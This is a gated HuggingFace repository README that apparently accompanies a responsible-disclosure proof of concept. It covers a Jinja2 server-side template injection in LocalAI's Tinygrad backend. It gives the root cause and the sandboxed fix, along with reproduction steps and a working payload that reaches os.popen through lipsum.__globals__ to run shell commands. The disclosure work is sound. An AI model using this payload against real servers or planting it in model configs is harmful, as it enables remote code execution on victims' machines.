You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

LocalAI Tinygrad Backend Jinja2 SSTI PoC -- Security Research

WARNING: This repository contains a security research artifact demonstrating a Server-Side Template Injection (SSTI) vulnerability in LocalAI's Tinygrad backend. The included tokenizer_config.json contains a Jinja2 SSTI payload that achieves Remote Code Execution (RCE) when processed by LocalAI. DO NOT use this artifact in any production or sensitive environment. This exists solely for responsible disclosure and reproducibility purposes.

Vulnerability Summary

Affected Software: LocalAI (all versions with Tinygrad backend) Severity: Critical -- Remote Code Execution (RCE) Attack Vector: Malicious HuggingFace model with crafted chat_template CVE: Pending assignment Reported via: huntr.com

Root Cause

LocalAI's Tinygrad backend renders chat_template strings from HuggingFace tokenizer_config.json files using jinja2.Environment() -- an unsandboxed Jinja2 environment. This allows Server-Side Template Injection (SSTI) via specially crafted template expressions that access Python internals through Jinja2's introspection capabilities.

The SSTI payload leverages lipsum.__globals__['os'].popen() to escape the template context and execute arbitrary operating system commands on the server.

# VULNERABLE (LocalAI Tinygrad backend):
from jinja2 import Environment
env = Environment()                          # No sandbox!
template = env.from_string(chat_template)    # Attacker-controlled template
result = template.render(messages=messages)   # RCE triggered here

# SECURE (correct approach):
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()                 # Blocks dangerous attribute access
template = env.from_string(chat_template)
result = template.render(messages=messages)   # SSTI payload blocked

Attack Scenario

  1. Attacker publishes a HuggingFace model repository containing a malicious tokenizer_config.json with an SSTI payload in the chat_template field
  2. Victim configures LocalAI to use this model (via the model gallery, manual download, or any integration that pulls from HuggingFace)
  3. When a chat completion request is sent to /v1/chat/completions, LocalAI's Tinygrad backend renders the chat_template with unsandboxed Jinja2
  4. The SSTI payload executes, achieving arbitrary command execution on the server

Files in This Repository

File Description
tokenizer_config.json Malicious tokenizer config with Jinja2 SSTI payload in chat_template
tokenizer_config_clean.json Clean version of the same config (no payload) for comparison
localai-ssti-poc.py PoC demonstration script -- simulates the vulnerable rendering path
README.md This file

How to Reproduce

Prerequisites

pip install jinja2

Option 1: Run the PoC script

python3 localai-ssti-poc.py

This script simulates what LocalAI's Tinygrad backend does internally: it loads the malicious tokenizer_config.json and renders the chat_template with jinja2.Environment() (unsandboxed). The SSTI payload executes and writes a file to /tmp/localai-ssti-poc.txt to confirm RCE.

Option 2: Against a running LocalAI instance

  1. Place tokenizer_config.json in the model directory used by LocalAI
  2. Configure LocalAI to use the Tinygrad backend for this model
  3. Send a chat completion request:
curl -X POST http://localhost:8080/v1/chat/completions \
  -H "Content-Type: application/json" \
  -d '{
    "model": "your-model-name",
    "messages": [{"role": "user", "content": "Hello"}]
  }'
  1. Check for the PoC artifact:
cat /tmp/localai-ssti-poc.txt
# Output: [POC] LOCALAI_SSTI_RCE_ACHIEVED

Option 3: Minimal reproduction

from jinja2 import Environment
import json

with open("tokenizer_config.json") as f:
    config = json.load(f)

env = Environment()  # Same as LocalAI -- no sandbox
template = env.from_string(config["chat_template"])
result = template.render(
    messages=[{"role": "user", "content": "Hello"}],
    add_generation_prompt=True,
)
# Check: /tmp/localai-ssti-poc.txt now exists (RCE confirmed)

Expected vs. Actual Behavior

  • Expected: Chat template rendering should be sandboxed, preventing access to Python internals (__globals__, os.popen, etc.)
  • Actual: jinja2.Environment() allows full introspection. The SSTI payload accesses lipsum.__globals__['os'].popen() and executes arbitrary commands.

The Payload

The SSTI payload appended to the otherwise-normal chat template:

{{ lipsum.__globals__['os'].popen('echo "[POC] LOCALAI_SSTI_RCE_ACHIEVED" > /tmp/localai-ssti-poc.txt').read() }}

This uses Jinja2's built-in lipsum function to traverse Python's object hierarchy and reach the os module, then calls os.popen() to execute a shell command. In a real attack, this could be reverse shell, data exfiltration, or any arbitrary command.

Recommended Fix

Replace jinja2.Environment() with jinja2.sandbox.SandboxedEnvironment() in LocalAI's Tinygrad backend template rendering code. The sandboxed environment blocks access to dangerous attributes like __globals__, __class__, and __subclasses__, preventing SSTI exploitation.

Responsible Disclosure

This vulnerability was reported through huntr.com. This repository is gated to authorized security researchers and the vendor security team. Please do not redistribute the artifact outside of the responsible disclosure process.

License

This security research artifact is provided under the MIT License for responsible disclosure and reproducibility purposes only.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support